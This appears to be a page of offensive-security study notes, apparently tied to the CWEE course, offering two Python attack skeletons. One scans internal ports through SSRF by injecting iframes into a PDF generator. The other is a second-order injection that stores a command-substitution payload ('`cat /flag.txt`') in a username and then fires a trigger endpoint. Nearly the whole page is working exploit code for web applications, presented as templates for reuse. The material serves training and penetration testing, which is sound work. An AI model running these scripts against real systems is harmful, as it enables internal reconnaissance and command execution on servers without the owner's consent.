Chains
Chains
End-to-end skeletons that stitch primitives together: SSRF internal port scans and second-order injection.
Chain — SSRF internal port scan
An iframe pointed at an internal port is injected and rendered; the result length/marker distinguishes open from closed.
def probe(s, port):
s.get(MODIFY_URL, params={"id": 4,
"note": f'<iframe src="http://127.0.0.1:{port}"></iframe>'}, verify=False)
r = s.get(GENERATE_URL, verify=False) # render the PDF/page
if "%PDF" in r.text and len(r.text) > BASELINE_LEN:
return True # iframe loaded => port open
return False
open_ports = [p for p in PORTS if probe(s, p)]
print(f"[+] Open internal ports: {open_ports}")Find by: ssrf, port scan, internal, iframe, pdf, html injection, enumerate ports, server side request forgery, chain, discover services, blind · Source: CWEE/PDF SSRF
Chain — second-order injection skeleton
The payload is stored in a field that a LATER action consumes (render/logout/profile). The sink, not the input, executes it.
def register(s, username, password):
r = s.post(REGISTER_URL, json={"username": username, "password": password},
verify=False, proxies=PROXIES)
if "registered" not in r.text:
sys.exit("[-] register failed")
def login(s, username, password):
s.post(LOGIN_URL, json={"username": username, "password": password},
verify=False, proxies=PROXIES)
# username carries the payload; the trigger endpoint is what executes it
payload_user = "`cat /flag.txt`" # or a path-traversal / SQLi string
register(s, payload_user, password)
login(s, payload_user, password)
out = s.get(TRIGGER_URL, verify=False).json() # the sink reflects/executes it
print(out)Find by: second order, stored, deferred, register login trigger, persist payload, two stage, indirect, chain, username payload, sink · Source: CWEE/Second Order